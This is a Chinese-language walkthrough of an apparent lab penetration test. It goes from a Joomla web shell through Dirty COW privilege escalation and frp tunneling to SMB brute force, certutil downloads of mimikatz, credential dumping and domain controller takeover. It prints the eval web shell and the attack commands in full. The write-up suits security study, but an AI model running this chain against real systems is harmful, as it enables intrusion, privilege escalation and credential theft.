服务器渗透
信息收集
端口扫描
1 | nmap -sV -n -v 192.168.3.0/24 |
发现192.168.3.4
访问80端口
发现是joomla,查一下发现有一个能GetShell的洞,但是需要用管理员登录才能用,试了一下密码爆破,没啥用,没什么思路扫一下目录爽爽
目录扫描
1 | dirsearch -u http://192.168.3.4 -e php |
发现配置文件,访问看看,注意直接访问.php是没有显示的,需要访问.php~
信息泄露利用
发现mysql用户名和密码,端口扫描的时候发现3306端口是对外开放的,那用navicat连接一下改掉管理员密码就行了
经过加密了,加密算法不知道,想直接破解很难,好在官方文档给了一个示例如何恢复或重置管理员密码? - Joomla! Documentation,直接将密码改为“d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199”也就是“secret”加密后的值,修改后直接使用administrator/secret登录
GetShell
在前台登录后点了半天没发现什么,搜了一下发现是后台getshell,结合前面的目录扫描,后台地址是administrator/index.php
登陆后选择Extentions>>Templates>>Templates>>Beez3 Details and Files
新建一个1.php
写入码子
1 | <?php eval($_POST['cmd']);?> |
蚁剑连接
1 | http://192.168.3.4/templates/beez3/1.php |
连接成功,但是每个命令都是返回ret=127,应该是禁用了函数,使用插件进行绕过
插件绕过函数限制
使用disable_functions进行绕过
选择LD_PRELOAD模式,改一下地址,然后开始
然后将地址改到.antproxy.php就行,连接密码不变
发现一个神奇的东西,我们现在连接的是192.168.3.4(CentOS),为什么ifconfig出来的网卡是192.168.93.120(Ubuntu),我们的192.168.3.4(CentOS)莫名消失,原来是192.168.3.4(CentOS)做了nginx反向代理,这使得在蚁剑的shell是192.168.93.120(Ubuntu)主机的shell,而蚁剑中所见的文件也是192.168.93.120(Ubuntu)主机的文件
思路断了,翻一下文件,发现/tmp/mysql/test.txt里面有用户名密码wwwuser/wwwuser_123Aqx,尝试使用ssh来连接一下,发现连接成功(好扯,莫名其妙)
SSH连接
1 | ssh wwwuser@192.168.3.4 |
如果连接报错no matching host key type found. Their offer: ssh-rsa,ssh-dss,可以使用
1 | ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa wwwuser@192.168.3.4 |
提权
很明显不是root,为了方便后续渗透,先提权
1 | uname -e |
kali中执行
1 | searchsploit linux 2.6.32 |
发现有脏牛的,我挑40839.c
1 | searchsploit -m 40839.c |
开启HTTP服务
1 | python3 -m http.server 8080 |
在192.168.3.4(CentOS)下载40839.c
编译
1 | gcc -pthread 40839.c -o dirty -lcrypt |
赋予权限
1 | chmod 777 dirty |
执行
1 | ./dirty 123456 |
提示删除/tmp/passwd.bak
1 | rm -rf /tmp/passwd.bak |
执行,这个要等一会儿
1 | ./dirty 123456 |
切换到firefart/123456用户
1 | su firefart |
成功得到root权限,看看网络信息
两个网卡,一个是我们已知的,另一个是内网IP,猜测该计算机在某内网中
内网渗透
主机发现
在192.168.3.4(CentOS)中运行下面命令(可能运行比较慢)
1 | for k in $(seq 1 200); do ping -c 1 192.168.93.$k | grep "ttl" | awk -F'[ :]+' '{print $4}'; done |
根据现有的信息,可以判断.100是192.168.3.4(CentOS),.120是ubuntu,如果需要进一步渗透,我们最好先建立隧道代理
Frp代理
这里使用的是frp0.58.1
配置文件
frps.toml
1 | bindPort = 7001 |
frpc.toml
1 | serverAddr = "kaliIP" |
上传到CentOS
kali的frp目录下执行
1 | python3 -m http.server 8080 |
CentOS执行
1 | wget http://192.168.3.3:8080/frpc |
kali中执行,先停掉http服务
1 | ./frps -c frps.toml |
CentOS
1 | ./frpc -c frpc.toml |
修改Proxychains配置
kali中的新终端执行,别把frp关掉,在末尾添加如图的socks5配置
1 | vim /etc/proxychains4.conf |
端口扫描
1 | proxychains4 nmap -sV -n -v -Pn 192.168.93.10 |
发现445都开着,尝试smb爆破
SMB密码爆破
1 | proxychains4 msfconsole |
成功得到93.30的smb账号密码
Wmiexec连接
1 | proxychains4 python3 wmiexec-pro.py 'administrator:123qwe!ASD@192.168.93.30' exec-command -shell |
Mimikatz抓取密码明文
上传mimikatz到93.30,此时我们无法直接让kali开启HTTP服务,93.30下载,因为93.30在内网网段,kali不在内网,所以我们在CentOS中开启HTTP服务来给WIN下载,所以思路是kali>>CentOS>>WIN
操作基本和前面的python开HTTP然后下载类似,不过要注意CentOS需要这样子开HTTP服务
1 | python -m SimpleHTTPServer 8080 |
这里我们就跳过kali>>CentOS,直接来看WIN中如何下载文件
1 | certutil -urlcache -split -f http://192.168.93.100:8080/mimikatz.exe C:\1.exe |
下载成功,下面利用,注意需要相同路径
1 | 1.exe log privilege::debug sekurlsa::logonpasswords |
得到域控的密码,直接ping一下找到哪个是域控DC
1 | ping test.org |
使用Administrator/zxcASDqw123!!登录
1 | proxychains4 python3 wmiexec-pro.py 'Administrator:zxcASDqw123!!@192.168.93.10' exec-command -shell |
获取Flag
1 | cd ../../Users/Administrator/Documents |
总结
有的地方感觉有点刻意,比如一开始SSH连接把账号密码放在test.txt中,以及SMB密码爆破,如果字典里刚好没有这个密码就很难受了,不过应该也有其他方法做,现在一刷不知道,以后学到了再来。
下载链接
frp
1 | https://github.com/fatedier/frp |
mimikatz
1 | https://github.com/ParrotSec/mimikatz |
wmiexec
1 | https://github.com/XiaoliChan/wmiexec-Pro |